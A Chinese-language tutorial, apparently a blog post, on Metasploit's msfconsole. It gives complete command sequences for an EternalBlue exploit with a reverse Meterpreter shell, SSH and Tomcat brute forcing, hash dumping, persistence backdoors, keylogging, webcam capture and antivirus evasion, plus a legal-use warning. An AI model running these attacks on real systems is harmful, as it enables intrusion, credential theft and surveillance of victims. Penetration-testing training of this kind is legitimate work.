黑客msfconsole渗透工具超详细使用说明

Metasploit Framework的msfconsole是一个功能强大的渗透测试框架,核心在于其模块化结构。你可以通过组合不同的模块,构建完整的测试流程。下表概述了其核心模块类型及典型用途:

模块类型 主要功能 典型应用场景举例 常用命令/关键词
辅助模块 (Auxiliary) 信息收集、扫描、拒绝服务攻击等。 端口扫描、服务指纹识别、弱口令爆破。 auxiliary/scanner/
渗透攻击模块 (Exploit) 利用特定漏洞获得目标系统初始访问权限。 攻击已知漏洞的Samba、VSFTPD服务。 exploit/
攻击载荷 (Payload) 在成功渗透后,在目标系统上运行的代码。 获取反向Shell(reverse_tcp)、Meterpreter高级控制。 set payload
编码器 (Encoder) 对攻击载荷进行编码,以绕过杀毒软件(AV)检测。 在生成木马文件前对载荷进行多重编码。 msfvenom -e
后渗透模块 (Post) 在已控制目标后,进行信息收集、权限提升、内网移动等。 检查是否为虚拟机、获取密码哈希、安装后门。 post/

Metasploit Framework(简称 MSF)是业界最著名的开源渗透测试平台之一,由 Rapid7 维护。msfconsole 是其命令行交互式界面,功能强大、模块丰富,广泛用于漏洞利用、后渗透、信息收集等任务。

以下是对 msfconsole 的超详细使用说明,包括核心概念、常用命令、各功能模块详解及实战示例。


一、基本概念

1. Metasploit 模块类型

  • Exploit(漏洞利用模块):利用目标系统中的漏洞执行代码。
  • Payload(载荷):在成功利用后执行的代码,如反弹 shell、Meterpreter 等。
  • Auxiliary(辅助模块):用于扫描、枚举、DoS、嗅探等非直接攻击任务。
  • Post(后渗透模块):在获得会话后执行的提权、信息收集、持久化等操作。
  • Encoder(编码器):对 payload 进行编码以绕过 AV/IDS。
  • NOP(空指令生成器):用于堆栈溢出等场景。
  • Evasion(规避模块):生成可绕过杀毒软件的恶意文件(较新版本支持)。

二、启动 msfconsole

bash

编辑

msfconsole

首次启动会加载数据库(建议配置 PostgreSQL 以启用数据库功能)。


三、常用全局命令(在 msfconsole 中)

表格

命令 功能
help 或 ? 显示帮助
show exploits 列出所有 exploit 模块
show auxiliary 列出辅助模块
show payloads 列出可用 payload
show options 显示当前模块所需参数
use <module> 加载指定模块(如 use exploit/windows/smb/ms17_010_eternalblue)
set <OPTION> <VALUE> 设置模块参数
unset <OPTION> 取消设置
setg <OPTION> <VALUE> 全局设置(所有模块共享)
getg 查看全局变量
info <module> 查看模块详细信息
search <keyword> 搜索模块(支持 CVE、平台、类型等)
jobs 查看后台任务
sessions 查看已建立的会话
exit / quit 退出

四、核心模块详解

1. Exploit 模块使用流程

示例:利用 EternalBlue (MS17-010)

bash

编辑

msf6 > search ms17_010

# 选择 exploit

msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 查看选项

msf6 > show options

# 设置必要参数

msf6 > set RHOSTS 192.168.1.100

msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

msf6 > set LHOST 192.168.1.50

msf6 > set LPORT 4444

# 执行攻击

msf6 > exploit

成功后将获得一个 Meterpreter 会话。


2. Payload 类型说明

  • Staged vs Stageless
    • Staged(分阶段):先传小 stub,再下载完整 payload(如 windows/meterpreter/reverse_tcp)
    • Stageless(无阶段):一次性传输完整 payload(如 windows/x64/meterpreter_reverse_tcp)
  • 常见 Payload
    • cmd/unix/reverse_netcat:简单反向 shell(Unix)
    • windows/shell/reverse_tcp:Windows 命令行 shell
    • windows/meterpreter/reverse_https:加密通信的高级后渗透 shell

3. Auxiliary(辅助)模块

用于信息收集或漏洞探测,不直接执行 payload。

示例:SMB 版本扫描

bash

编辑

msf6 > use auxiliary/scanner/smb/smb_version

msf6 > set RHOSTS 192.168.1.0/24

msf6 > run

其他常用辅助模块:

  • scanner/portscan/tcp:TCP 端口扫描
  • scanner/http/dir_scanner:目录爆破
  • scanner/ssh/ssh_login:SSH 暴力破解
  • admin/http/tomcat_administration:Tomcat 后台爆破

4. Post(后渗透)模块

在已有 Meterpreter 会话中使用。

bash

编辑

msf6 > sessions -i 1 # 进入会话 1

meterpreter > sysinfo # 查看系统信息

# 返回 msfconsole 后运行 post 模块

msf6 > use post/windows/gather/enum_logged_on_users

msf6 > set SESSION 1

msf6 > run

常用 Post 模块:

  • post/windows/manage/enable_rdp:开启远程桌面
  • post/windows/gather/hashdump:导出 SAM 哈希
  • post/multi/recon/local_exploit_suggester:本地提权建议
  • post/windows/manage/persistence:添加持久化后门

5. Meterpreter 高级 Shell

Meterpreter 是 Metasploit 最强大的 payload,内存驻留、加密通信、可扩展。

常用 Meterpreter 命令:

表格

命令 功能
sysinfo 系统信息
getuid 当前用户
ps 进程列表
migrate <PID> 迁移到其他进程(防崩溃)
shell 获取系统 shell
download / upload 文件传输
screenshot 截图
webcam_list / webcam_snap 调用摄像头
keyscan_start / keyscan_dump 键盘记录
run post/windows/manage/migrate 自动迁移到 explorer.exe

五、数据库集成(强烈推荐)

Metasploit 支持 PostgreSQL 数据库存储扫描结果、主机信息等。

初始化数据库(Kali Linux 默认已配置):

bash

编辑

sudo systemctl start postgresql

sudo msfdb init

在 msfconsole 中验证:

bash

编辑

msf6 > db_status

\* Connected to msf

导入 Nmap 扫描结果:

bash

编辑

msf6 > db_import /path/to/scan.xml

msf6 > hosts

msf6 > services


六、资源脚本(自动化)

可编写 .rc 脚本实现自动化渗透。

example.rc:

rc

编辑

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.1.100

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.50

set LPORT 4444

exploit -j

运行:

bash

编辑

msfconsole -r example.rc


七、安全与法律提醒 ⚠️

  • 仅限授权测试:未经授权的渗透测试属于违法行为。
  • 实验环境隔离:建议在虚拟机(如 VMware + NAT 网络)中练习。
  • 更新 MSF:定期运行 msfupdate 获取最新漏洞模块。

八、学习资源推荐

相关推荐
wuminyu12 小时前
Java锁机制之park和unpark源码剖析
java·linux·c语言·jvm·c++
皆圥忈13 小时前
文件描述符与重定向
linux
极客笔记Jack13 小时前
Scanpy AnnData 对象深度解析:高效操作数据结构的10个技巧
python
实心儿儿13 小时前
Linux —— 线程池(2)
linux
AI帮小忙13 小时前
主机安全排查
linux·服务器·安全
颜酱13 小时前
LangChain调用向量模型,存入向量数据库
python·langchain
半壶清水13 小时前
ubuntu下利用ns-3 + NetAnim搭建可视化路由选路过程的方法
linux·运维·ubuntu
2501_9289455213 小时前
七本性全面签名体系:从互递归类型到∞-范畴生成语法
python
laoli_coding13 小时前
数据机密性保护算法汇总(国际算法)
安全·网络安全·密码学
程序员老舅14 小时前
从内核视角,看Linux文件读写过程
linux·服务器·c++·内核·linux内核·vfs·linux内存